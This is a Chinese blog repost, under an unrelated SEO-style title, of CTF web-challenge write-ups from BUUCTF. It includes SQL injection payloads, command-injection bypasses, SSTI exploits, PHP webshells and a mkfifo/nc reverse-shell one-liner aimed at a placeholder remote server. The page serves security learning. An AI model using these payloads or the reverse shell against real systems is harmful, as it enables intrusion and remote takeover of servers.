重庆企业网站开发方案网站建设要用什么软件

张小明 2026/1/2 20:33:48
重庆企业网站开发方案,网站建设要用什么软件,陕西西安建设厅官方网站,打开网站图片弹入指定位置代码[极客大挑战 2019]Havefun 先f12看眼源码#xff0c;发现有提示 get传参为dog会回显 [ACTF2020 新生赛]Include 点进tips问我们能找到flag吗 结合题目是文件包含并且url有可控传参读取flag 直接读读不到#xff0c;先考虑 php://input伪协议 POST发送PHP代码的…[极客大挑战 2019]Havefun先f12看眼源码发现有提示get传参为dog会回显[ACTF2020 新生赛]Include点进tips问我们能找到flag吗结合题目是文件包含并且url有可控传参读取flag直接读读不到先考虑 php://input伪协议 POST发送PHP代码的经典套路发现不行再尝试用php为协议来filephp://filter/readconvert.base64-encode/resourceflag.php发现读到了解码得到flag[GXYCTF2019]Ping Ping Ping打开页面直接告诉我们用ip来传参测一下发现这里是命令执行直接看到flag.php看看能不能直接读过滤了空格用${IFS}来代替 有时cat可能被过滤那么尝试用tac反向输出或者 linux命令中可以加\所以甚至可以ca\t /fl\ag又提示说过滤了特殊字符那就换成$ IFS $1试一试发现可以又提示过滤了flag想到前面还有个index文件看看里面有什么好家伙过滤了这么多东西而且flag这里是贪婪匹配法一编码绕过只过滤了bash但我们还有sh法三变量覆盖不懂为什么不同的覆盖方式会有不一样的结果法四内联执行所谓内联就是将反引号内命令的输出作为输入执行单个特殊字符、/、\、?、*、、、、、(、)、[、]、{、}字符集[\x{00}-\x{1f}]ASCII 码在0到31之间的控制字符如换行、制表符等不可见字符。[极客大挑战 2019]EasySQL进去一个登陆界面随便输点东西跳转到check.php页面可知此页面与数据库产生交互加上题目告诉我们时sql注入了试一下发现时单引号字符型字符型万能账号密码直接就进去了[极客大挑战 2019]LoveSQL又是这个界面弱密码试一试跳转到check.php试出来是单引号闭合字符型万能账号密码试一下登陆成功网站用的get型传参那就在传参的地方测试看有没有注入点猜解sql查询语句中的列数没有报错只是密码错误试到4才报错说明有三个列再找注入点发现23都是这里123只是好看重要的是注入点的位置 ?username1’ union select 1,2,3%23passwordads接下来爆库报表爆字段,爆内容真正寻找信息的过程UNION SELECT用于将两个或多个SELECT语句的结果集合并成一个结果集user()将会返回执行当前查询的用户名。version()获取当前数据库版本。version_compile_os获取当前操作系统?username1’ union select 1,database(),3%23passwordadsgroup_concat(table_name)将当前数据库中的所有表名拼接成一个字符串便于一次性提取?username1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema“geek”%23passwordadsgroup_concat(table_name)将当前数据库中的所有表名拼接成一个字符串便于一次性提取information_schema.tables是 MySQL 的系统表存储了数据库中所有表的信息table_schema是information_schema.tables表中的一个列表示表所属的数据库table_schema是information_schema.tables表中的一个列表示表所属的数据库猜测大概率flag在表l0ve1ysq1中长得像lovesql?username1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name‘l0ve1ysq1’%23passwordads?username1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23passwordads可以f12去找flag也可以确定id打印出来1’ union select 1, 2, group_concat(password) from l0ve1ysq1 where id16[强网杯 2019]随便注试出来发现是单引号闭合判断方式# 数字型 $query SELECT first_name, last_name FROM users WHERE user_id $id;; # 字符型 $query SELECT first_name, last_name FROM users WHERE user_id $id;;输入1’ or 1 1 测试一下是否存在sql注入说明后端参数后面有可能存在其他sql语句我们在1’ or 1 1后面加一个#将可能存在的其他sql语句注释掉即1 or 1 1#成功输出了该表的所有数据先判断一下字段个数 union select 1,2;#这里看到正则过滤了关键字既然select关键字无法使用意味着联合查询报错注入布尔,时间盲注就都不可以使用了我们可以通过堆叠注入的方式来绕过select关键字查看数据库名1;show databases;#查看数据表1;show tables;#查看表结构有两种方式方式一1; show columns from tableName;#方式二1;desc tableName;#注意如果tableName是纯数字需要用包裹就像这里的1’;desc1919810931114514;#法一select关键字被过滤了所以我们可以通过预编译的方式拼接select 关键字1’;PREPARE a from concat(‘s’,‘elect’, ’ * from1919810931114514);EXECUTE a;#这里set为变量赋值 PREPARE设置sql查询语法 EXECUTE 执行函数法二上面concat里的部分也可以用16进制来绕过也可以先定义一个变量并将sql语句初始化然后调用1;Set jia 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from jia;EXECUTE hacker;#法三还可以通过handle直接出答案1;HANDLER1919810931114514OPEN;HANDLER1919810931114514READ FIRST;HANDLER1919810931114514CLOSE;法四可以通过修改表名和列名来实现。我们输入1后默认会显示id为1的数据可以猜测默认显示的是words表的数据查看words表结构第一个字段名为id我们把words表随便改成words1然后把1919810931114514表改成words再把列名flag改成id就可以达到直接输出flag字段的值的效果1; alter table words rename to words1;alter table1919810931114514rename to words;alter table words change flag id varchar(50);#然后通过1 or 1 1 #[ACTF2020 新生赛]Exec题目提示命令执行老样子搞一下好像没什么用看看上级的目录有没有什么发现flag查看法二反弹shell 127.0.0.1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 远程服务器ip 8899 /tmp/f[SUCTF 2019]EasySQL手工盲注嘛会发现连sleep等都全部过滤掉了而且你输入数字的时候回显是Array([0]1)输入字符的时候啥也不回显。这个时候其实就懂得要放弃布尔盲注、时间盲注了。这种格式很明显是要你搞后端代码后端既然能做到数字回显字母不回显说明有一个 或 结构而且不直接回显flag但作为一道题目from一定是from flagsqlselect.post[‘query’].“||flag from Flag”;如果$post[‘query’]的数据为*,1sql语句就变成了select *,1||flag from Flag就是select *,1 from Flag这样就直接查询出了Flag表中的所有内容。解法二把||变成字符串连接符而不是或涉及到mysql中sql_mode参数设置设置 sql_modepipes_as_concat字符就可以设置。1;set sql_modePIPES_AS_CONCAT;select 1[极客大挑战 2019]Http1.什么是 Referer就是你点击A标签 Referer的信息告诉服务端你从哪里点击出来的。2.什么是User-AgentUser Agent中文名为用户代理简称 UA它是一个特殊字符串头使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。可以抓包进行修改其中的值。3.什么是X-Forwarded-For?X-Forwarded-ForXFF是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。大概就是传输自己真实的IP地址阻止匿名请求但同样的也可以通过抓包进行修改。[极客大挑战 2019]Secret Filef12发现有一个跳转页面发现啥也没有只能抓包看看有没有什么信息发现有个secr3t.php,访问一下终于看见阳光这里源码的意思是检查file参数是否包含以下字符串…/防止路径遍历攻击。tp防止访问与tp可能是ThinkPHP框架相关相关的文件。input防止访问包含input的文件。data防止访问包含data的文件。如果检测到上述字符串输出“禁止访问”并退出可以通过编码绕过如%2e%2e%2f或使用其他形式的路径遍历strstr()和stristr()都用于在一个较长的字符串中搜索指定的子字符串 //并返回从该子字符串第一次出现的位置开始到字符串末尾的部分。 //两者区别在于前者对大小写敏感后者对大小写不敏感包含flag.php看一下这里可以用php为协议secr3t.php?filephp://filter/readconvert.base64-encode/resourceflag.php并没有被过滤base64解密得到flag[HCTF 2018]WarmUpf12有提示访问一下source.php发现了源码还有个文件hint.php,访问一下ffffllllaaaagggg是在hint.php中发现的显然flag在这个文件里highlight_file(__FILE__);此代码会高亮显示当前PHP文件的源代码常用于调试或展示代码。mb_strpos($page . ?, ?)此函数用来查找子字符串?在字符串$page . ?中首次出现的位置。把?添加到$page的末尾目的是保证?一定会存在于字符串中防止mb_strpos返回false。要是$page里本身就有?就会返回其首次出现的位置若没有就会返回$page的长度hint.php?../…/…/…/…/ffffllllaaaagggg[MRCTF2020]Ez_bypassMD5函数绕过思路1.传md5值是0e开头的字符串比如QNKCDZO0e830400451993494058024219903391 和s878926199a0e545993274517709034328855841020因为php在利用”!”或””来对哈希值进行比较它把每一个以”0E”开头的哈希值都解释为02.传递数组 因为向md5函数传递数组会返回NULLis_numeric() 函数用于检测变量是否为数字或数字字符串。PHP 版本要求PHP 4, PHP 5, PHP 7[SUCTF 2019]CheckIn上传普通的一句话提示过滤了?可以用插入的图片马绕过 还可以在前面加 幻术头绕过 GIF89aGIF图片的ascii 值[GXYCTF2019]BabySQli常规sql注入方式给上去测得是单引号字符型f12得到一个像是加密的东西梭哈知道是先base32再base64的编码提示我们要传入一个变量namehackbar打开也直接给了name因为是post请求所以bp抓包在这直接hackbar有回显测得字段数为3union select 1,2,3#发现没有直接将回显返回出来理论上来说联合查询是不可以使用的同时这道题是会有返回了错误信息是不是感觉报错注入在向自己招手想尝试可以故意使用错误的sql语句看是否有错误信息回显但痛苦的是在本关过滤掉了 database()最关键的是他把“”也过滤掉了这一关利用sqli的特性在联合查询并不存在的数据时联合查询就会构造一个虚拟的数据。所以如果我们使用联合查询访问一个真实存在的用户名和一个我们自己编造的密码就会使虚拟数据混淆admin密码从而使我们成功登录得到 flag判断回显点23都是在这里账号是admin猜的查看源码发现密码只要经过md5加密就可以[GYCTF2020]Blacklist测出是单引号闭合并且有正常回显尝试联合查询发现过滤了些关键字用不了联合查询了漏洞成因使用mysqli_multi_query()这种支持多语句执行的函数使用PDO的方式进行数据查询创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为true时可以执行多语句这时可以用堆叠注入获取库名、表名、列名setrename都被过滤时可以通过handler语句来获取flag[网鼎杯 2020 青龙组]AreUSerialz代码审计PHP知识了解PHP访问修饰符**public ** 公共的 任何成员都可以访问private 私有的 只有自己可以访问绕过方式%00类名%00成员名*protected ** 保护的 只有当前类的成员与继承该类的类才能访问绕过方式%00%00成员名PHP类**class **创建类PHP关键字function 用于用户声明自定义函数$this- 表示在类本身内部使用本类的属性或者方法isset 用来检测参数是否存在并且是否具有值PHP常见函数**include() ** 包含函数 ** **highlight_file() 函数对文件进行语法高亮显示**file_put_contents() **函数把一个字符串写入文件中**file_get_contents() ** 函数把整个文件读入一个字符串中**is_valid() ** 检查对象变量是否已经实例化即实例变量的值是否是个有效的对象strlen 计算字符串长度ord 用于返回 “S” 的 ASCII值其语法是ord(string)参数string必需指要从中获得ASCII值的字符串PHP魔法函数**__construct() ** 实例化对象时被调用__destruct() 当删除一个对象或对象操作终止时被调用class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op 1; $filename /tmp/tmpfile; $content Hello World!; $this-process(); } public function process() { if($this-op 1) { $this-write(); } else if($this-op 2) { $res $this-read(); $this-output($res); } else { $this-output(Bad Hacker!); } } private function write() { if(isset($this-filename) isset($this-content)) { if(strlen((string)$this-content) 100) { $this-output(Too long!); die(); } $res file_put_contents($this-filename, $this-content); if($res) $this-output(Successful!); else $this-output(Failed!); } else { $this-output(Failed!); } } private function read() { $res ; if(isset($this-filename)) { $res file_get_contents($this-filename); } return $res; } private function output($s) { echo [Result]: br; echo $s; } function __destruct() { if($this-op 2) $this-op 1; $this-content ; $this-process(); } }构析函数中op使用强类型比较判断this-op的值是否等于字符串2如果等于则将其置为1。之后执行process()方法。在process()方法中则使用弱类型比较判断op的值是否对等于字符串2若为真则执行read()方法与output()方法。而read方法中使用file_get_contents()函数来读取属性filename路径的文件。于是我们发现若想读取flag需要绕过process()方法的判断防止op被置一。于是可以传入一个数字2绕过process()方法的判断第一种解法 突破ord函数限制利用ord函数 返回 “S” 的 ASCII值 s为字符串类型 S为16进制字符串数据类型绕过方式%00转换为\00即可绕过序列化代码?php class FileHandler { protected $op 2; protected $filename flag.php; //题目中包含flag的文件 protected $content; } $bai urlencode(serialize(new FileHandler)); //URL编码实例化后的类FileHandler序列化结果 $mao str_replace(%00,\\00,$bai); //str_replace函数查找变量bai里面的数值%00并将其替换为\\00 $mao str_replace(s,S,$mao); //str_replace函数查找变量mao里面的数值s并将其替换为S echo $mao //打印结果 ?运行得O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D第二种解法 突破protected访问修饰符限制这个关键点是将受保护的对象转换成公共对象?php class FileHandler { protected $op 2; protected $filename php://filter/readconvert.base64-encode/resourceflag.php; //php://filter伪协议 protected $content; } $baimaoserialize(new FileHandler()); //实例化并序列化类FileHandler echo $baimao; //打印结果 ?[BSidesCF 2020]Had a bad dayf12没发现随便点一下发现是个get传参测试下有没有sql注入使用了include函数并且会在最后自动添加一个.php 利用php为协议尝试查看源码a854196a-76a8-4258-9088-973ab48d7722.node4.buuoj.cn:81/index.php?categoryphp://filter/readconvert.base64-encode/resourceindex复制base64解码得到核心代码?php $file $_GET[category]; if(isset($file)) { if( strpos( $file, woofers ) ! false || strpos( $file, meowers ) ! false || strpos( $file, index)){ include ($file . .php); } else{ echo Sorry, we currently only support woofers and meowers.; } } ?strpos的用途和行为它用于检查字符串是否包含特定子字符串只有当这些子字符串存在时才会加载文件意思是我们传参必须要有woofers、meowers、index中的其中一个构造payloadphp://filter/readconvert.base64-encode/woofers/resourceflag解码得flag[网鼎杯 2018]Fakebook打开这样f12没东西没思路扫下目录看看也没有东西dirseach自带的字典在db目录下使用格式以及常用参数如下brpy dirsearch.py -u [target url] -e * -u后面跟要扫的url -e是指定的url -w是指定字典 -r递归目录 --random-agents使用随机UA[BUUCTF 2018]Online Tool点进去直接就是php代码直接代码审计escapeshellarg() 把字符串转码为可以在 shell 命令里使用的参数。 escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号这样以确保能够直接将一个字符串传入 shell 函数并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 即如果输入内容不包含单引号则直接对输入的字符串添加一对单引号括起来如果输入内容包含单引号则先对该单引号进行转义再对剩余部分字符串添加相应对数的单引号括起来 如果输入yq1ng’s对应’yq1ng’\‘’s’ escapeshellcmd() shell 元字符转义 escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数或者 执行操作符 之前进行转义。 反斜线\会在以下字符之前插入 #;|*?~^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上所有这些字符以及 % 和 ! 字符都会被空格代替。 即1、有特殊字符–转义2、单、双引号不成对–转义 ‘yq1ng’s’?–’yq1ng’s\‘\; escapeshellcmd()主要是防止用户利用shell的一些技巧如分号、管道符、反引号等来进行命令注入攻击 处理过程如果输入内容中#;|*?~^()[]{}$, \x0A 和 \xFF等特殊字符会被反斜杠给转义掉如果单引号和双引号不是成对出现时会被转义掉 场景功能 1.确保用户只执行一个命令 2.用户可以指定不限数量的参数 3.用户不能执行不同的命令实现 如果存在将REMOTE_ADDR替换为HTTP_X_FORWARDED_FOR的值。 问题 X-Forwarded-For头可以被客户端伪造导致服务器误以为请求来自一个受信任的IP地址。例如攻击者可以伪造这个头为一个内部IP地址如192.168.1.1从而绕过某些基于IP的访问控制。 实现 highlight_file(__FILE__)会将当前脚本的源代码以语法高亮的方式输出到浏览器。 问题 这会导致服务器的源代码直接暴露给用户。攻击者可以利用泄露的源代码信息进一步分析和攻击服务器 获取用户输入 $host $_GET[host];获取用户通过host参数提供的值。 转义处理 对$host值依次调用escapeshellarg和escapeshellcmd进行转义。 escapeshellarg在命令行参数周围添加单引号并转义单引号。 escapeshellcmd转义命令字符串中的特殊字符防止命令注入。 生成沙箱目录 $sandbox md5(glzjin.$_SERVER[REMOTE_ADDR]);根据客户端IP生成一个唯一的沙箱目录名。 创建并切换目录 mkdir($sandbox);创建沙箱目录用于抑制错误输出chdir($sandbox);切换到该目录。传入的参数是172.17.0.2 -v -d a1 经过escapeshellarg处理后变成了172.17.0.2\ -v -d a1即先对单引号转义再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成172.17.0.2\\ -v -d a1\这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl 172.17.0.2\\ -v -d a1\由于中间的\\被解释为\而不再是转义字符所以后面的没有被转义与再后面的配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a1即向172.17.0.2\发起请求POST 数据为a1。也就是说在host变量里面我们不能使用 ; | 等符号来执行多条命令不过题目里面提示了我们RCE同时对于这两个函数简单查找了之后发现两个一起使用的时候存在漏洞为了构造命令读取flag,我们应当从nmap入手查资料可以知道nmap有一个参数-oG可以实现将命令和结果写到文件所以我们可以控制自己的输入写入文件,构造payload为 ?host’ -oG 1.php ’执行成功 可能保存在 e6305cd14dbe6e1fc4041d81cb3fc9ee是个目录[SWPU2019]Web1二次注入漏洞在CTF中常见于留言板和注册登录功能,简单来说可以分为两个步骤:插入恶意数据(发布帖子,注册账号),用mysql_escape_string()函数对恶意字符进行转义,但是再将数据写入数据库中的时候又保留了原来的数据.引用插入的恶意数据:在进行查询时,直接从数据库中引用恶意数据,没有做进一步过滤和检验经过尝试发现过滤了空格orand–#order等关键字order by可以使用group by代替空格可以使用/**/代替注释符可以采用闭合的方式代替如group by 1,2试到22的时候不爆错说明字段数为22‘//group//by/**/22,’//union//select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22确认了回显的是2和3对应字段查看数据库用户版本查询表时发现information_schema.tables被过滤删除information_schema.tables后正常information_schema在注入中不可或缺的原因无非是因为它包含了所有其他数据库的信息主要是table_schematable_name.column_name等等。那么有没有具有类似功能的存在呢文章中提供了一种解法:5.7版本中新增了sys.schemasys.schema_auto_increment_columns该视图的作用就是用来对表自增ID的监控。如果表中存在自增id,那么这个视图就会包含这一 表前提是使用的mysqlmariDB有mysql.innodb_table_stats表可以查表名-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum ns/**/where/**/table_schemaschema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-1union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-1union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22在这用使用无列名注入无列名注入主要是适用于已经获取到数据表但无法查询列的情况下在大多数 CTF 题目中information_schema 库被过滤使用这种方法获取列名。无列名注入的原理其实很简单类似于将我们不知道的列名进行取别名操作在取别名的同时进行数据查询所以如果我们查询的字段多于数据表中列的时候就会出现报错。-1union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22[BJDCTF2020]Cookie is so stable进去都点点有三个页面都f12看一下发现提醒我们要注意cookie对flag页面抓包并拦截回报发现多了个user1猜测是SSTI注入SSTI 就是服务器端模板注入Server-Side Template Injection当前使用的一些框架比如python的flaskphp的tpjava的spring等一般都采用成熟的的MVC的模式用户的输入先进入Controller控制器然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断数据库存取最后把结果返回给View视图层经过模板渲染展示给用户。漏洞成因就是服务端接收了用户的恶意输入以后未经任何处理就将其作为 Web 应用模板内容的一部分模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。凡是使用模板的地方都可能会出现 SSTI 的问题SSTI 不属于任何一种语言沙盒绕过也不是沙盒绕过只是由于模板引擎发现了很大的安全漏洞然后模板引擎设计出来的一种防护机制不允许使用没有定义或者声明的模块这适用于所有的模板引擎。1. SSTI模板注入漏洞入门篇 - bmjoker - 博客园输入{{7*‘7’}}返回49表示是 Twig 模块输入{{7*‘7’}}返回7777777表示是 Jinja2 模块这里在cookie处进行判断user{{7*‘7’}},查看返回值由于是Twig注入所以是有固定的payload{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}//查看id{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}//查看flag[BJDCTF2020]The mystery of ipflag处有IP值结合题目“ip的秘密”可能存在X-Forwarded-For注入对flag界面进行抓包加上xff头PHP可能存在Twig模版注入漏洞Flask可能存在Jinjia2模版注入漏洞 添加模板算式{{7*7}}执行成功尝试是否能执行命令{{system(‘ls’)}}可以继续获取flag {{system(‘cat /flag’)}}[BJDCTF2020]ZJCTF不过如此代码审计先看代码提示了next.php绕过题目的要求去回显next.php的base64加密内容看到用的是file_get_contents()函数打开text。想到用data://协议第一部分是 data: 协议头它标识这个内容为一个 data URI 资源。第二部分是 MIME 类型表示这串内容的展现方式比如text/plain则以文本类型展示image/jpeg以 jpeg 图片形式展示同样客户端也会以这个 MIME 类型来解析数据。第三部分是编码设置默认编码是 charsetUS-ASCII, 即数据部分的每个字符都会自动编码为 %xx关于编码的测试可以在浏览器地址框输入分别输入下面两串内容查看效果第四部分是 base64 编码设定这是一个可选项base64 编码中仅包含 0-9,a-z,A-Z,,/,其中 是用来编码补白的。最后一部分为这个 Data URI 承载的内容它可以是纯文本编写的内容也可以是经过 base64编码 的内容。payload: ?textdata://text/plain,I have a dreamfilephp://filter/convert.base64-encode/resourcenext.php也可以bp抓包直接弄解码?php $id $_GET[id]; $_SESSION[id] $id; function complex($re, $str) { return preg_replace( /( . $re . )/ei, strtolower(\\1), $str ); } foreach($_GET as $re $str) { echo complex($re, $str). \n; } function getFlag(){ eval($_GET[cmd]); }这里的漏洞出在preg_replace/e模式下e模式下的preg_replace可以让第二个参数’替换字符串’当作代码执行但是这里第二个参数是不可变的但因为有这种特殊的情况正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区并且从1开始排序而strtolower(“\1”)正好表达的就是匹配区的第一个\1\1从而我们如果匹配可以则可以将函数实现。比如我们传入 ?.**{${phpinfo()}}*原句preg_replace(‘/(’ . $ re . ‘)/ei’,‘strtolower(“\1”)’,KaTeX parse error: Undefined control sequence: \1 at position 51: …,strtolower(\̲1̲),**{{phpinfo()}}**);又因为$_GET传入首字母是非法字符时候会把 .点号改成下划线因此得将.* 换成\s*\S是什么意思正则表达式\S匹配非空字符所有payload?\S*${getFlag()}cmdsystem(‘ls /’);为什么用{${getFlag()}} 这个写法${phpinfo()}会调用phpinfo()函数并试图将结果嵌入到字符串中。而如果使用phpinfo()函数它不会自动嵌入到字符串中。[极客大挑战 2019]RCE ME代码审计穿的code参数不能超40个字符不能含大小写和数字可以使用 异或绕过 和url编码取反绕过绕过任意php版本下均可使用我们要先访问 phpinfo 来查找被禁用的函数从而进一步来构造我们的payloadurl编码取反绕过 就是我们将php代码url编码后取反我们传入参数后服务端进行url解码这时由于取反后会url解码成不可打印字符这样我们就会绕过。即对查询语句取反然后编码。在编码前加上~进行取反括号没有被过滤不用取反异或饶过异或将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符是PHP7但是system、exec、shell_exec等命令执行的函数都被禁止了在这里我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。在这里我们使用 assert 来构造但由于php版本问题我们并不能直接构造?php assert($ _POST[a]);,我们需要调用eval拼接为 asserteval( $_POST[test])构造脚本获取url编码取反?php error_reporting(0); $aassert; $burlencode(~$a); echo $b; echo br; $c(eval($_POST[test])); $durlencode(~$c); echo $d; ?拼接为asserteval($_POST[test])的payload?code(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);连接成功由于 disable_functions的存在我们不能说直接读取flag需要借助readflag来读取借助蚁剑中的插件进行绕过[网鼎杯 2020 朱雀组]Nmap-iL 读取文件内容以文件内容作为搜索目标-o 输出到文件查看源码提示flag在/flag里127.0.0.1’ -iL /flag -o haha经过escapeshellarg函数后‘127.0.0.1’‘’ -iL /flag -o haha’将单引号转义并用一对单引号包裹起来再将这个语句用单引号包裹起来确保只有一个参数经过escapeshellcmd函数后‘127.0.0.1’‘’ -iL /flag -o haha’对\转义在许多编程语言中反斜杠被用作转义字符用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身没有变化会被视为普通字符不具有单引号的作用了这样就分为了三部分’127.0.0.1’和’‘连接空白和-iL /flag -o haha’(最后这个单引号只有一个不起作用但它将最后的文件名变为了haha’)nmap既可扫描前面的ip又能执行-iL /flag -o haha’ip中输入因为’127.0.0.1’\执行的时候会被简化为127.0.0.1\这个ip就错了但是不用管报错只要后面命令执行了我们就能访问到法二可以构造payload为:?php eval($_POST[a]);? -oG b.php nmap ip 闭合后成为nmap ?php eval($_POST[q]);? -oG b.php 但是提示hack所以有过滤猜想应该是过滤了php,可以换后缀名为phtml至于?php ?则可以替换为短标签 最终payload为 ?eval($_POST[a]);? -oG b.phtml 或者 ? echo eval($_POST[a]);? -oG b.phtml 之后连接木马执行系统命令找到flag就行了http://46eba4f8-49d8-438b-bbda-cc15d6728b4c.node4.buuoj.cn:81/b.phtml ?$a? ?(表达式)? 就相当于 ?php echo $a? ?php echo (表达式)?[WesternCTF2018]shrine代码审计import flask import os app flask.Flask(__name__) app.config[FLAG] os.environ.pop(FLAG) app.route(/) def index(): return open(__file__).read() app.route(/shrine/shrine) def shrine(shrine): def safe_jinja(s): s s.replace((, ).replace(), ) blacklist [config, self] return .join([{{% set {}None%}}.format(c) for c in blacklist]) s return flask.render_template_string(safe_jinja(shrine)) if __name__ __main__: app.run(debugTrue)appflask.Flask(__name__)创建一个 Flask 应用实例。app.config[FLAG]os.environ.pop(FLAG)从环境变量中获取FLAG的值并将其存储在应用的配置中。os.environ.pop(FLAG)会从环境变量中移除并返回FLAG的值。app.route(/)defindex():returnopen(__file__).read()定义根路由/当用户访问根 URL 时返回当前脚本文件的源代码。app.route(/shrine/shrine)defshrine(shrine):定义动态路由/shrine/shrine其中shrine是一个动态参数表示用户输入的部分注意这里。defsafe_jinja(s):ss.replace((,).replace(),)blacklist[config,self]return.join([{{% set {}None%}}.format(c)forcinblacklist])s定义一个内部函数safe_jinja用于对用户输入的字符串进行简单的“清理”。移除字符串中的括号(和)。使用黑名单机制尝试将config和self等敏感词设置为None以防止某些 Jinja2 模板注入攻击。returnflask.render_template_string(safe_jinja(shrine))使用 Flask 的render_template_string方法渲染经过safe_jinja处理的用户输入字符串。这里存在严重的安全隐患因为用户输入的字符串仍然可能包含恶意的 Jinja2 模板代码。if__name____main__:app.run(debugTrue)如果脚本作为主程序运行启动 Flask 开发服务器并开启调试模式。如果没有黑名单的时候我们可以使用config传入config或者使用self传入{{self.__dict__}}当config,self,()都被过滤的时候为了获取讯息我们需要读取一些例如current_app这样的全局变量python的沙箱逃逸这里的方法是利用python对象之间的引用关系来调用被禁用的函数对象。这里有两个函数包含了current_app全局变量url_for和get_flashed_messagesurl_for这个可以用来构造url接受函数名作为第一个参数get_flashed_message()是通过flash()传入闪现信息列表的能够把字符串对象表示的信息加入到一个消息列表然后通过调用get_flashed_message()来取出我们注入{url_for.__globals__}得到 构造payload/shrine/{{url_for.__globals__}}current_app是当前使用的app继续注入当前app的config {url_for.__globals__[current_app].config}成功找到flagget_flashed_message()也是同理 payload/shrine/{{get_flashed_messages.__globals__[current_app].config}}[ASIS 2019]Unicorn shop进去买最贵的提示只允许输入一个字符买前三个只是提示错误的商品猜测大概率flag就在第四个里看源码提示说编码非常重要 我们需要找到一个字符比1337大的数字也就是utf-8编码的转换安全问题在这个网站搜索大于thousand 的单个字符就可以购买第四只独角兽了:https://www.compart.com/en/unicode/可以看到它代表的数值是10000它的utf-8编码是0xE1 0x8D 0xBC我们将0x换成%得到%E1%8D%BC输入就可以购买flag了也可以直接复制进去其实输入万也可以不知道为什么[GYCTF2020]FlaskAppflask漏洞利用小结 | inhann’s blog寻找易发生ssti的功能。考虑到功能异常抛出常见于解密环节所以在解密界面随便输入一段不能解密的直接报错抛出debug信息看来是开启了debug模式。payload的使用需要输入到加密界面再将加密结果输入到解密界面查看结果首先想办法把完整的app.py读出来。参考[Templates Injections](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset)的payload方便阅读把它换行了{% for x in ().__class__.__base__.__subclasses__() %} {% if warning in x.__name__ %} {{x()._module.__builtins__[__import__](os).popen(request.args.input).read()}} {%endif%}{%endfor%}修改成{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__catch_warnings %} {{ c.__init__.__globals__[__builtins__].open(app.py,r).read() }} {% endif %}{% endfor %}最后合并成一行{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(app.py,r).read() }}{% endif %}{% endfor %}得到app.py的源码审一下发现wafdef waf(str): black_list [#34;flag#34;,#34;os#34;,#34;system#34;,#34;popen#34;,#34;import#34;,#34;eval#34;,#34;chr#34;,#34;request#34;,#34;subprocess#34;,#34;commands#34;,#34;socket#34;,#34;hex#34;,#34;base64#34;,#34;*#34;,#34;?#34;] for x in black_list : if x in str.lower() : return 1过滤了flag和os等函数和关键词。然后利用字符串拼接读找目录{{.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__][__import__](os).listdir(/)}} e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19 